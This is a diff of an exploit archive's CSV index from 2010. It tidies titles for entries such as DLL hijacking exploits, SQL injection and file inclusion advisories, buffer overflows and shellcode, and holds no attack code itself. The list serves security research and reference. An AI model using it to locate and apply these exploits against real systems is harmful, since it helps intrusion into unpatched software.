+14732,platforms/windows/local/14732.c,"Opera 10.61 - DLL Hijacking Exploit (dwmapi.dll)",2010-08-24,"Nicolas Krassas",windows,local,0
 14733,platforms/windows/local/14733.c,"Microsoft Windows 7 wab.exe DLL Hijacking Exploit (wab32res.dll)",2010-08-24,TheLeader,windows,local,0
 14734,platforms/windows/local/14734.c,"TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)",2010-08-24,"Glafkos Charalambous ",windows,local,0
 14735,platforms/windows/local/14735.c,"Adobe Dreamweaver CS4 DLL Hijacking Exploit (ibfs32.dll)",2010-08-24,"Glafkos Charalambous ",windows,local,0
 14737,platforms/php/webapps/14737.txt,"Simple Forum PHP Multiple Vulnerabilities",2010-08-25,arnab_s,php,webapps,0
 14739,platforms/windows/local/14739.c,"BS.Player <= 2.56 build 1043 DLL Hijacking Exploit (mfc71loc.dll)",2010-08-25,diwr,windows,local,0
-14740,platforms/windows/local/14740.c,"Adobe Dreamweaver CS5 <= 11.0 build 4909 DLL Hijacking Exploit (mfc90loc.dll)",2010-08-25,diwr,windows,local,0
+14740,platforms/windows/local/14740.c,"Adobe Dreamweaver CS5 <= 11.0 build 4909 - DLL Hijacking Exploit (mfc90loc.dll)",2010-08-25,diwr,windows,local,0
 14741,platforms/windows/local/14741.c,"Adobe Photoshop CS2 DLL Hijacking Exploit (Wintab32.dll)",2010-08-25,storm,windows,local,0
 14742,platforms/php/webapps/14742.txt,"ClanSphere 2010 Multiple Vulnerabilities",2010-08-25,Sweet,php,webapps,0
 14743,platforms/windows/local/14743.c,"avast! <= 5.0.594 license files DLL Hijacking Exploit (mfc90loc.dll)",2010-08-25,diwr,windows,local,0
@@ -12894,14 +12894,14 @@ id,file,description,date,author,platform,type,port
 14753,platforms/windows/local/14753.c,"InterVideo WinDVD 5 DLL Hijacking Exploit (cpqdvd.dll)",2010-08-25,"Beenu Arora",windows,local,0
 14754,platforms/windows/local/14754.txt,"Microsoft Internet Connection Signup Wizard DLL Hijacking Exploit (smmscrpt.dll)",2010-08-25,"Beenu Arora",windows,local,0
 14755,platforms/windows/local/14755.c,"Adobe Device Central CS5 DLL Hijacking Exploit (qtcf.dll)",2010-08-25,"Glafkos Charalambous ",windows,local,0
-14756,platforms/windows/local/14756.c,"Safari v5.0.1 DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,Secfence,windows,local,0
+14756,platforms/windows/local/14756.c,"Safari 5.0.1 - DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,Secfence,windows,local,0
 14758,platforms/windows/local/14758.c,"Microsoft Group Convertor DLL Hijacking Exploit (imm.dll)",2010-08-25,"Beenu Arora",windows,local,0
 14761,platforms/multiple/dos/14761.txt,"Adobe Acrobat Reader All Version Memory Corruption",2010-08-25,ItSecTeam,multiple,dos,0
 14762,platforms/windows/local/14762.c,"Ettercap NG-0.7.3 DLL Hijacking Exploit (wpcap.dll)",2010-08-25,Anonymous,windows,local,0
 14764,platforms/windows/local/14764.c,"TechSmith Snagit 10 (Build 788) DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,Encrypt3d.M!nd,windows,local,0
 14765,platforms/windows/local/14765.c,"Mediaplayer Classic 1.3.2189.0 DLL Hijacking Exploit (iacenc.dll)",2010-08-25,Encrypt3d.M!nd,windows,local,0
 14766,platforms/windows/local/14766.c,"Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)",2010-08-25,"Glafkos Charalambous ",windows,local,0
-14767,platforms/windows/dos/14767.txt,"Flash Movie Player v1.5 File Magic Denial of Service Vulnerability",2010-08-25,"Matthew Bergin",windows,dos,0
+14767,platforms/windows/dos/14767.txt,"Flash Movie Player 1.5 - File Magic Denial of Service Vulnerability",2010-08-25,"Matthew Bergin",windows,dos,0
 14768,platforms/windows/local/14768.c,"Roxio Creator DE DLL Hijacking Exploit (HomeUtils9.dll)",2010-08-25,storm,windows,local,0
 14769,platforms/windows/local/14769.c,"Nvidia Driver DLL Hijacking Exploit (nview.dll)",2010-08-25,Encrypt3d.M!nd,windows,local,0
 14771,platforms/windows/local/14771.c,"Adobe Premier Pro CS4 DLL Hijacking Exploit (ibfs32.dll)",2010-08-25,"Glafkos Charalambous ",windows,local,0
@@ -12915,26 +12915,26 @@ id,file,description,date,author,platform,type,port
 14781,platforms/windows/local/14781.c,"Roxio MyDVD 9 DLL Hijacking Exploit (HomeUtils9.dll)",2010-08-25,storm,windows,local,0
 14782,platforms/windows/local/14782.c,"Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)",2010-08-25,storm,windows,local,0
 14783,platforms/windows/local/14783.c,"Mozilla Thunderbird DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,h4ck3r#47,windows,local,0
-14784,platforms/windows/local/14784.c,"Adobe Extension Manager CS5 v5.0.298 DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,LiquidWorm,windows,local,0
-14785,platforms/windows/local/14785.c,"Adobe ExtendedScript Toolkit CS5 v3.5.0.52 DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,LiquidWorm,windows,local,0
-14786,platforms/windows/local/14786.c,"CorelDRAW X3 v13.0.0.576 DLL Hijacking Exploit (crlrib.dll)",2010-08-25,LiquidWorm,windows,local,0
-14787,platforms/windows/local/14787.c,"Corel PHOTO-PAINT X3 v13.0.0.576 DLL Hijacking Exploit (crlrib.dll)",2010-08-25,LiquidWorm,windows,local,0
+14784,platforms/windows/local/14784.c,"Adobe Extension Manager CS5 5.0.298 - DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,LiquidWorm,windows,local,0
+14785,platforms/windows/local/14785.c,"Adobe ExtendedScript Toolkit CS5 3.5.0.52 - DLL Hijacking Exploit (dwmapi.dll)",2010-08-25,LiquidWorm,windows,local,0
+14786,platforms/windows/local/14786.c,"CorelDRAW X3 13.0.0.576 - DLL Hijacking Exploit (crlrib.dll)",2010-08-25,LiquidWorm,windows,local,0
+14787,platforms/windows/local/14787.c,"Corel PHOTO-PAINT X3 13.0.0.576 - DLL Hijacking Exploit (crlrib.dll)",2010-08-25,LiquidWorm,windows,local,0
 14788,platforms/windows/local/14788.c,"Media Player Classic 6.4.9.1 DLL Hijacking Exploit (iacenc.dll)",2010-08-25,LiquidWorm,windows,local,0
 14789,platforms/windows/local/14789.c,"Nullsoft Winamp 5.581 DLL Hijacking Exploit (wnaspi32.dll)",2010-08-25,LiquidWorm,windows,local,0
-14790,platforms/windows/local/14790.c,"Google Earth v5.1.3535.3218 DLL Hijacking Exploit (quserex.dll)",2010-08-25,LiquidWorm,windows,local,0
+14790,platforms/windows/local/14790.c,"Google Earth 5.1.3535.3218 - DLL Hijacking Exploit (quserex.dll)",2010-08-25,LiquidWorm,windows,local,0
 14791,platforms/windows/local/14791.c,"Daemon tools lite DLL Hijacking Exploit (mfc80loc.dll)",2010-08-25,"Mohamed Clay",windows,local,0
 14793,platforms/windows/local/14793.c,"Autodesk AutoCAD 2007 dll Hijacking exploit (color.dll)",2010-08-25,"xsploited security",windows,local,0
 14795,platforms/bsd/shellcode/14795.c,"bds/x86-bindshell on port 2525 shellcode - 167 bytes",2010-08-25,beosroot,bsd,shellcode,0
 14799,platforms/php/webapps/14799.txt,"osCommerce Online Merchant Remote File Inclusion Vulnerability",2010-08-26,LoSt.HaCkEr,php,webapps,0
 14801,platforms/php/webapps/14801.txt,"Atomic Photo Album 1.0.2 Multiple Vulnerabilities",2010-08-26,sh00t0ut,php,webapps,0
 14802,platforms/php/webapps/14802.html,"Hycus CMS 1.0.1 Multiple Cross Site Request Forgery Vulnerabilities",2010-08-26,10n1z3d,php,webapps,0
-14806,platforms/php/webapps/14806.txt,"Prometeo v1.0.65 SQL Injection Vulnerability",2010-08-26,"Lord Tittis3000",php,webapps,0
+14806,platforms/php/webapps/14806.txt,"Prometeo 1.0.65 - SQL Injection Vulnerability",2010-08-26,"Lord Tittis3000",php,webapps,0
 14808,platforms/php/webapps/14808.pl,"mini CMS / News Script Light 1.0 Remote File Include Exploit",2010-08-26,bd0rk,php,webapps,0
 14809,platforms/php/webapps/14809.txt,"Kontakt Formular 1.1 Remote File Inclusion Vulnerability",2010-08-26,bd0rk,php,webapps,0
 14810,platforms/php/webapps/14810.txt,"Gaestebuch 1.2 Remote File Inclusion Vulnerability",2010-08-26,bd0rk,php,webapps,0
 14811,platforms/php/webapps/14811.txt,"Joomla Component (com_remository) Remote Upload File",2010-08-26,J3yk0ob,php,webapps,0
 14814,platforms/linux/local/14814.c,"Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit",2010-08-27,"Jon Oberheide",linux,local,0
-14815,platforms/php/webapps/14815.txt,"pecio CMS v2.0.5 Multiple Remote File Inclusion Vulnerabilities",2010-08-27,eidelweiss,php,webapps,0
+14815,platforms/php/webapps/14815.txt,"pecio CMS 2.0.5 - Multiple Remote File Inclusion Vulnerabilities",2010-08-27,eidelweiss,php,webapps,0
 14817,platforms/php/webapps/14817.txt,"Esvon Classifieds 4.0 Multiple Vulnerabilities",2010-08-27,Sn!pEr.S!Te,php,webapps,0
 14818,platforms/linux/remote/14818.pl,"McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution",2010-08-27,"Nikolas Sotiriu",linux,remote,0
 14819,platforms/php/webapps/14819.html,"Pc4Uploader 9.0 Cross-site Request Forgery",2010-08-27,"RENO ",php,webapps,0
@@ -12942,61 +12942,61 @@ id,file,description,date,author,platform,type,port
 14821,platforms/asp/webapps/14821.txt,"Shop Creator 4.0 SQL Injection Vulnerability",2010-08-27,Pouya_Server,asp,webapps,0
 14822,platforms/php/webapps/14822.txt,"DiY-CMS 1.0 Multiple Remote File Inclusion Vulnerabilities",2010-08-28,LoSt.HaCkEr,php,webapps,0
 14823,platforms/php/webapps/14823.txt,"Textpattern CMS 4.2.0 Remote File Inclusion Vulnerability",2010-08-28,Sn!pEr.S!Te,php,webapps,0
-14824,platforms/windows/dos/14824.txt,"Leadtools ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Buffer Overflow Vulnerability",2010-08-28,LiquidWorm,windows,dos,0
+14824,platforms/windows/dos/14824.txt,"Leadtools ActiveX Raster Twain 16.5 - (LtocxTwainu.dll) Buffer Overflow Vulnerability",2010-08-28,LiquidWorm,windows,dos,0
 14826,platforms/php/webapps/14826.txt,"GaleriaSHQIP SQL Injection Vulnerability",2010-08-28,Valentin,php,webapps,0
 14827,platforms/php/webapps/14827.py,"Blogman v0.7.1 (profile.php) SQL Injection Exploit",2010-08-28,"Ptrace Security",php,webapps,0
 14828,platforms/php/webapps/14828.txt,"XOOPS 2.0.14 (article.php) SQL Injection Vulnerability",2010-08-28,[]0iZy5,php,webapps,0
 14829,platforms/php/webapps/14829.txt,"CF Image Hosting Script 1.3 (settings.cdb) Information Disclosure Vulnerability",2010-08-28,Dr.$audi,php,webapps,0
 14830,platforms/linux/local/14830.py,"nginx v0.6.38 Heap Corruption Exploit",2010-08-29,"Aaron Conole",linux,local,0
-14831,platforms/windows/local/14831.rb,"SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (SEH)",2010-08-29,"James Fitts",windows,local,0
-14832,platforms/windows/dos/14832.rb,"SnackAmp 3.1.2 Malicious WAV Buffer Overflow Vulnerability (POC)",2010-08-29,"James Fitts",windows,dos,0
+14831,platforms/windows/local/14831.rb,"SnackAmp 3.1.2 - SMP Buffer Overflow Vulnerability (SEH)",2010-08-29,"James Fitts",windows,local,0
+14832,platforms/windows/dos/14832.rb,"SnackAmp 3.1.2 - (.wav) Buffer Overflow Vulnerability (PoC)",2010-08-29,"James Fitts",windows,dos,0
 14833,platforms/php/webapps/14833.txt,"vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability",2010-08-29,"Immortal Boy",php,webapps,0
 14834,platforms/php/webapps/14834.txt,"Max's Guestbook (HTML Injection/XSS) Multiple Vulnerabilities",2010-08-29,"MiND C0re",php,webapps,0
 14835,platforms/php/webapps/14835.txt,"Multi-lingual E-Commerce System 0.2 Multiple Remote File Inclusion Vulnerabilities",2010-08-29,JosS,php,webapps,0
-14837,platforms/php/webapps/14837.txt,"CF Image Hosting Script v1.3.8 Remote File Inclusion",2010-08-29,"FoX HaCkEr",php,webapps,0
+14837,platforms/php/webapps/14837.txt,"CF Image Hosting Script 1.3.8 - Remote File Inclusion",2010-08-29,"FoX HaCkEr",php,webapps,0
 14838,platforms/php/webapps/14838.txt,"Seagull 0.6.7 SQL Injection Vulnerability",2010-08-29,Sweet,php,webapps,0
 14839,platforms/php/webapps/14839.txt,"GuestBookPlus HTML Injection & Bypass Comments Limit",2010-08-29,"MiND C0re",php,webapps,0
-14840,platforms/windows/dos/14840.py,"Mereo v1.9.2 Remote HTTP Server Denial Of Service Vulnerability",2010-08-30,"CwG GeNiuS",windows,dos,0
+14840,platforms/windows/dos/14840.py,"Mereo 1.9.2 - Remote HTTP Server Denial Of Service Vulnerability",2010-08-30,"CwG GeNiuS",windows,dos,0
 14841,platforms/php/webapps/14841.txt,"Seagull 0.6.7 Remote File Inclusion Vulnerability",2010-08-30,"FoX HaCkEr",php,webapps,0
 14843,platforms/windows/dos/14843.txt,"Apple QuickTime ""_Marshaled_pUnk"" Backdoor Param Client-Side Arbitrary Code Execution",2010-08-30,"Ruben Santamarta",windows,dos,0
 14845,platforms/php/webapps/14845.txt,"Joomla Component (com_picsell) Local File Disclosure Vulnerability",2010-08-30,Craw,php,webapps,0
 14846,platforms/php/webapps/14846.txt,"Joomla Component (com_jefaqpro) Multiple Blind SQL Injection Vulnerabilities",2010-08-31,"Chip D3 Bi0s",php,webapps,0
 14848,platforms/php/webapps/14848.txt,"Web-Ideas Web Shop Standard SQL Injection Vulnerability",2010-08-31,Ariko-Security,php,webapps,0
-14849,platforms/php/webapps/14849.py,"mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit",2010-08-31,"Ptrace Security",php,webapps,0
+14849,platforms/php/webapps/14849.py,"mBlogger 1.0.04 (viewpost.php) - SQL Injection Exploit",2010-08-31,"Ptrace Security",php,webapps,0
 14851,platforms/php/webapps/14851.txt,"dompdf 0.6.0 beta1 Remote File Inclusion Vulnerability",2010-09-01,Andre_Corleone,php,webapps,0
 14852,platforms/windows/dos/14852.txt,"Leadtools ActiveX Common Dialogs 16.5 Multiple Remote Vulnerabilities",2010-09-01,LiquidWorm,windows,dos,0
 14853,platforms/windows/remote/14853.py,"MOAUB #1 - Adobe Acrobat Reader and Flash Player “newclass” invalid pointer",2010-09-01,Abysssec,windows,remote,0
-14854,platforms/php/webapps/14854.py,"MOAUB #1 - Cpanel  PHP Restriction Bypass Vulnerability 0day",2010-09-01,Abysssec,php,webapps,0
+14854,platforms/php/webapps/14854.py,"MOAUB #1 - Cpanel PHP Restriction Bypass Vulnerability 0day",2010-09-01,Abysssec,php,webapps,0
 14856,platforms/windows/remote/14856.txt,"TFTPDWIN v0.4.2 Directory Traversal Vulnerability",2010-09-01,chr1x,windows,remote,0
 14857,platforms/windows/remote/14857.txt,"TFTP Desktop 2.5 Directory Traversal Vulnerability",2010-09-01,chr1x,windows,remote,0
 14858,platforms/windows/dos/14858.txt,"Autodesk MapGuide Viewer ActiveX Denial of Service Vulnerability",2010-09-01,d3b4g,windows,dos,0
 14860,platforms/php/webapps/14860.txt,"PHP Joke Site Software (sbjoke_id) SQL Injection Vulnerability",2010-09-01,"BorN To K!LL",php,webapps,0
-14866,platforms/novell/dos/14866.txt,"Novell Netware v6.5 OpenSSH Remote Stack Overflow",2010-09-01,"Francis Provencher",novell,dos,0
+14866,platforms/novell/dos/14866.txt,"Novell Netware 6.5 - OpenSSH Remote Stack Overflow",2010-09-01,"Francis Provencher",novell,dos,0
 14867,platforms/php/webapps/14867.txt,"vbShout 5.2.2 Remote/Local File Inclusion Vulnerability",2010-09-02,fred777,php,webapps,0
 14869,platforms/windows/dos/14869.py,"MOAUB #2 - Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability",2010-09-02,Abysssec,windows,dos,0
 14870,platforms/asp/webapps/14870.txt,"MOAUB #2 - Rainbowportal Multiple Remote Vulnerabilities",2010-09-02,Abysssec,asp,webapps,0
 14873,platforms/win32/shellcode/14873.asm,"Shellcode Checksum Routine",2010-09-02,dijital1,win32,shellcode,0
 14875,platforms/multiple/remote/14875.txt,"Backdoor password in Accton-based switches (3com, Dell, SMC, Foundry and EdgeCore)",2010-09-02,"Edwin Eefting",multiple,remote,0
 14876,platforms/php/webapps/14876.txt,"Shop a la Cart Multiple Vulnerabilities",2010-09-02,Ariko-Security,php,webapps,0
-14878,platforms/windows/remote/14878.html,"Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code  Execution",2010-09-03,Abysssec,windows,remote,0
+14878,platforms/windows/remote/14878.html,"Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution",2010-09-03,Abysssec,windows,remote,0
 14879,platforms/asp/webapps/14879.txt,"MOAUB #3 - Visinia 1.3 Multiple Vulnerabilities",2010-09-03,Abysssec,asp,webapps,0
 14882,platforms/windows/dos/14882.txt,"FFDshow SEH Exception leading to NULL pointer on Read",2010-09-03,"Matthew Bergin",windows,dos,0
-14883,platforms/windows/dos/14883.txt,"Intel Video Codecs v5 Remote Denial Of Service Vulnerability",2010-09-03,"Matthew Bergin",windows,dos,0
+14883,platforms/windows/dos/14883.txt,"Intel Video Codecs 5.0 - Remote Denial Of Service Vulnerability",2010-09-03,"Matthew Bergin",windows,dos,0
 14884,platforms/php/webapps/14884.txt,"smbind <= 0.4.7 - SQL Injection Vulnerability",2010-09-03,R00t[ATI],php,webapps,0
 14885,platforms/windows/remote/14885.html,"Trend Micro Internet Security 2010 ActiveX Remote Exploit (UfPBCtrl.DLL)",2010-11-17,Dr_IDE,windows,remote,0
-14886,platforms/windows/remote/14886.py,"MOAUB #4 - Movie Maker Remote Code Execution  (MS10-016)",2010-09-04,Abysssec,windows,remote,0
+14886,platforms/windows/remote/14886.py,"MOAUB #4 - Movie Maker Remote Code Execution (MS10-016)",2010-09-04,Abysssec,windows,remote,0
 14887,platforms/php/webapps/14887.txt,"MOAUB #4 - syndeocms 2.8.02 Multiple Vulnerabilities",2010-09-04,Abysssec,php,webapps,0
 14890,platforms/php/webapps/14890.py,"mBlogger 1.0.04 (addcomment.php) Persistent XSS Exploit",2010-09-04,"Ptrace Security",php,webapps,0
 14891,platforms/php/webapps/14891.txt,"PHP Classifieds ADS (sid) Blind SQL Injection Vulnerability",2010-09-04,"BorN To K!LL",php,webapps,0
 14892,platforms/windows/dos/14892.py,"VLC Media Player < 1.1.4 (.xspf) smb:// URI Handling Remote Stack Overflow PoC",2010-09-04,"hadji samir",windows,dos,0
 14893,platforms/php/webapps/14893.txt,"PHP Classifieds 7.3 Remote File Inclusion Vulnerability",2010-09-04,alsa7r,php,webapps,0
-14894,platforms/php/webapps/14894.py,"A-Blog v2.0 (sources/search.php) SQL Injection Exploit",2010-09-05,"Ptrace Security",php,webapps,0
+14894,platforms/php/webapps/14894.py,"A-Blog 2.0 - (sources/search.php) SQL Injection Exploit",2010-09-05,"Ptrace Security",php,webapps,0
 14895,platforms/windows/remote/14895.py,"MOAUB #5 - Microsoft MPEG Layer-3 Remote Command Execution Exploit",2010-09-05,Abysssec,windows,remote,0
 14896,platforms/php/webapps/14896.txt,"iJoomla Magazine 3.0.1 Remote File Inclusion Vulnerability",2010-09-05,LoSt.HaCkEr,php,webapps,0
 14897,platforms/php/webapps/14897.txt,"chillyCMS 1.1.3 Multiple Vulnerabilities",2010-09-05,"AmnPardaz ",php,webapps,0
 14898,platforms/asp/webapps/14898.txt,"MOAUB #5 - IfNuke Multiple Remote Vulnerabilities 0day",2010-09-05,Abysssec,asp,webapps,0
-14901,platforms/php/webapps/14901.txt,"Joomla Component Clantools version 1.5 Blind SQL Injection Vulnerability",2010-09-05,Solidmedia,php,webapps,0
-14902,platforms/php/webapps/14902.txt,"Joomla Component Clantools version 1.2.3 Multiple Blind SQL Injection Vulnerability",2010-09-05,Solidmedia,php,webapps,0
+14901,platforms/php/webapps/14901.txt,"Joomla Component Clantools 1.5 - Blind SQL Injection Vulnerability",2010-09-05,Solidmedia,php,webapps,0
+14902,platforms/php/webapps/14902.txt,"Joomla Component Clantools 1.2.3 - Multiple Blind SQL Injection Vulnerability",2010-09-05,Solidmedia,php,webapps,0
 14904,platforms/linux/dos/14904.txt,"FCrackZip 1.0 Local Buffer Overflow Proof of Concept",2010-09-05,0x6264,linux,dos,0
 14907,platforms/arm/shellcode/14907.c,"Linux/ARM - execve(""/bin/sh"", [0], [0 vars]) - 27 bytes",2010-09-05,"Jonathan Salwan",arm,shellcode,0
 14908,platforms/asp/webapps/14908.txt,"DMXready Polling Booth Manager SQL Injection Vulnerability",2010-09-05,"L0rd CrusAd3r",asp,webapps,0
@@ -13011,7 +13011,7 @@ id,file,description,date,author,platform,type,port
 14922,platforms/php/webapps/14922.txt,"Joomla Component Aardvertiser 2.1 Free Blind SQL Injection Vulnerability",2010-09-06,"Stephan Sattler",php,webapps,0
 14923,platforms/php/webapps/14923.txt,"Wordpress Events Manager Extended Plugin Persistent XSS Vulnerability",2010-09-06,Craw,php,webapps,0
 14925,platforms/linux/remote/14925.txt,"Weborf <= 0.12.2 Directory Traversal Vulnerability",2010-09-07,Rew,linux,remote,0
-14927,platforms/php/webapps/14927.txt,"MOAUB #7 - DynPage <= v1.0 Multiple Remote Vulnerabilities - 0day",2010-09-07,Abysssec,php,webapps,0
+14927,platforms/php/webapps/14927.txt,"MOAUB #7 - DynPage <= 1.0 - Multiple Remote Vulnerabilities (0day)",2010-09-07,Abysssec,php,webapps,0
 14928,platforms/novell/dos/14928.py,"MOAUB #7 - Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow",2010-09-07,Abysssec,novell,dos,0
 14931,platforms/php/webapps/14931.php,"Java Bridge v. 5.5 Directory Traversal Vulnerability",2010-09-07,Saxtor,php,webapps,0
 14932,platforms/windows/webapps/14932.py,"ColdCalendar 2.06 SQL Injection Exploit",2010-09-07,mr_me,windows,webapps,0
@@ -13020,7 +13020,7 @@ id,file,description,date,author,platform,type,port
 14935,platforms/windows/webapps/14935.py,"ColdUserGroup 1.06 Blind SQL Injection Exploit",2010-09-07,mr_me,windows,webapps,0
 14937,platforms/windows/dos/14937.py,"QQPlayer 2.3.696.400p1 (.wav) Denial of Service Vulnerability",2010-09-07,"hadji samir",windows,dos,0
 14938,platforms/windows/dos/14938.txt,"Internet Download Accelerator 5.8 Remote Buffer Overflow PoC",2010-09-07,eidelweiss,windows,dos,0
-14941,platforms/win32/remote/14941.rb,"Integard Home and Pro v2 Remote HTTP Buffer Overflow Exploit",2010-09-07,"Lincoln, Nullthreat, rick2600",win32,remote,80
+14941,platforms/win32/remote/14941.rb,"Integard Home and Pro 2 - Remote HTTP Buffer Overflow Exploit",2010-09-07,"Lincoln, Nullthreat, rick2600",win32,remote,80
 14942,platforms/php/webapps/14942.txt,"1024 CMS 2.1.1 Blind SQL Injection Vulnerability",2010-09-07,"Stephan Sattler",php,webapps,0
 14943,platforms/asp/webapps/14943.txt,"MOAUB #8 - Sirang Web-Based D-Control Multiple Remote Vulnerabilities",2010-09-08,Abysssec,asp,webapps,0
 14944,platforms/windows/local/14944.py,"MOAUB #8 - Microsoft Office Visio DXF File Stack based Overflow",2010-09-08,Abysssec,windows,local,0
@@ -13059,15 +13059,15 @@ id,file,description,date,author,platform,type,port
 14996,platforms/php/webapps/14996.txt,"Storyteller CMS (var) Local File Inclusion Vulnerability",2010-09-13,"BorN To K!LL",php,webapps,0
 14997,platforms/php/webapps/14997.txt,"UCenter Home 2.0 SQL Injection Vulnerability",2010-09-13,KnocKout,php,webapps,0
 14998,platforms/php/webapps/14998.txt,"Joomla Component (com_jgen) SQL Injection Vulnerability",2010-09-14,**RoAd_KiLlEr**,php,webapps,0
-14999,platforms/asp/webapps/14999.txt,"MOAUB #14 - FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities",2010-09-14,Abysssec,asp,webapps,0
+14999,platforms/asp/webapps/14999.txt,"MOAUB #14 - FreeDiscussionForums 1.0 - Multiple Remote Vulnerabilities",2010-09-14,Abysssec,asp,webapps,0
 15001,platforms/windows/remote/15001.html,"MOAUB #14 - Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow",2010-09-14,Abysssec,windows,remote,0
-15004,platforms/php/webapps/15004.pl,"E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit",2010-09-14,_mRkZ_,php,webapps,0
+15004,platforms/php/webapps/15004.pl,"E-Xoopport - Samsara <= 3.1 - (Sections Module) Remote Blind SQL Injection Exploit",2010-09-14,_mRkZ_,php,webapps,0
 15005,platforms/multiple/remote/15005.txt,"IBM Lotus Domino iCalendar Email Address Stack Buffer Overflow Vulnerability",2010-09-14,"A. Plaskett",multiple,remote,0
 15006,platforms/php/webapps/15006.txt,"eNdonesia 8.4 SQL Injection Vulnerability",2010-09-15,vYc0d,php,webapps,0
 15008,platforms/windows/dos/15008.py,"MOAUB #15 - Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption",2010-09-15,Abysssec,windows,dos,0
 15011,platforms/php/webapps/15011.txt,"MOAUB #15 - PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities",2010-09-15,Abysssec,php,webapps,0
-15013,platforms/windows/local/15013.pl,"MP3 Workstation Version 9.2.1.1.2 SEH exploit",2010-09-15,"sanjeev gupta",windows,local,0
-15014,platforms/php/webapps/15014.txt,"pixelpost v1.7.3 Multiple Vulnerabilities",2010-09-15,Sweet,php,webapps,0
+15013,platforms/windows/local/15013.pl,"MP3 Workstation 9.2.1.1.2 - SEH exploit",2010-09-15,"sanjeev gupta",windows,local,0
+15014,platforms/php/webapps/15014.txt,"pixelpost 1.7.3 - Multiple Vulnerabilities",2010-09-15,Sweet,php,webapps,0
 15016,platforms/windows/remote/15016.rb,"Integard Pro 2.2.0.9026 (Win7 ROP-Code Metasploit Module)",2010-09-15,Node,windows,remote,0
 15017,platforms/windows/dos/15017.py,"Chalk Creek Media Player 1.0.7 .mp3 and .wma Denial of Service Vulnerability",2010-09-16,"Carlos Mario Penagos Hollmann",windows,dos,0
 15018,platforms/asp/webapps/15018.txt,"MOAUB #16 - mojoportal Multiple Remote Vulnerabilities",2010-09-16,Abysssec,asp,webapps,0
@@ -13078,21 +13078,21 @@ id,file,description,date,author,platform,type,port
 15026,platforms/windows/local/15026.py,"BACnet OPC Client Buffer Overflow Exploit",2010-09-16,"Jeremy Brown",windows,local,0
 15027,platforms/windows/dos/15027.py,"MOAUB #17 - Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution",2010-09-17,Abysssec,windows,dos,0
 15029,platforms/php/webapps/15029.txt,"MOAUB #17 - phpmyfamily Multiple Remote Vulnerabilities",2010-09-17,Abysssec,php,webapps,0
-15031,platforms/windows/local/15031.py,"DJ Studio Pro Version 8.1.3.2.1 SEH Exploit",2010-09-17,"Abhishek Lyall",windows,local,0
+15031,platforms/windows/local/15031.py,"DJ Studio Pro 8.1.3.2.1 - SEH Exploit",2010-09-17,"Abhishek Lyall",windows,local,0
 15032,platforms/windows/dos/15032.py,"MediaHuman Music Converter 1.0.1 .wav and .mp3 Denial of Service Vulnerability",2010-09-17,modpr0be,windows,dos,0
 15033,platforms/windows/local/15033.py,"A-PDF All to MP3 Converter 1.1.0 Universal Local SEH Exploit",2010-09-17,modpr0be,windows,local,0
 15034,platforms/windows/dos/15034.txt,"Microsoft Mspaint bmp crash Proof Of Concept",2010-09-18,andrew,windows,dos,0
 15035,platforms/windows/dos/15035.py,"MOAUB #18 - Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability",2010-09-18,Abysssec,windows,dos,0
-15037,platforms/php/webapps/15037.html,"MOAUB #18 - CMSimple XSRF Vulnerability",2010-09-18,Abysssec,php,webapps,0
+15037,platforms/php/webapps/15037.html,"MOAUB #18 - CMSimple - CSRF Vulnerability",2010-09-18,Abysssec,php,webapps,0
 15039,platforms/php/webapps/15039.txt,"xt:Commerce Gambio 2008 - 2010 ERROR Based SQL Injection ""reviews.php""",2010-09-18,secret,php,webapps,0
 15040,platforms/php/webapps/15040.txt,"Joomla Component (com_restaurantguide) Multiple Vulnerabilities",2010-09-18,Valentin,php,webapps,0
-15041,platforms/php/webapps/15041.py,"Maian Gallery v2 Local File Download Vulnerability",2010-09-18,mr_me,php,webapps,0
+15041,platforms/php/webapps/15041.py,"Maian Gallery 2 - Local File Download Vulnerability",2010-09-18,mr_me,php,webapps,0
 15042,platforms/windows/remote/15042.py,"MOAUB #19 - Novell iPrint Client Browser Plugin call-back-url Stack Overflow",2010-09-19,Abysssec,windows,remote,0
-15044,platforms/asp/webapps/15044.txt,"MOAUB #19 - JMD-CMS Multiple  Remote Vulnerabilities",2010-09-19,Abysssec,asp,webapps,0
+15044,platforms/asp/webapps/15044.txt,"MOAUB #19 - JMD-CMS Multiple Remote Vulnerabilities",2010-09-19,Abysssec,asp,webapps,0
 15046,platforms/php/webapps/15046.txt,"Fashione E-Commerce Webshop Multiple SQL Injection Vulnerability",2010-09-19,secret,php,webapps,0
 15047,platforms/windows/local/15047.rb,"Audiotran 1.4.2.4 SEH Overflow Exploit (DEP Bypass)",2010-09-19,"Muhamad Fadzil Ramli",windows,local,0
 15048,platforms/windows/remote/15048.txt,"SmarterMail 7.1.3876 Directory Traversal Vulnerability",2010-09-19,sqlhacker,windows,remote,0
-15049,platforms/php/webapps/15049.txt,"BoutikOne v1 SQL Injection Vulnerability",2010-09-19,BrOx-Dz,php,webapps,0
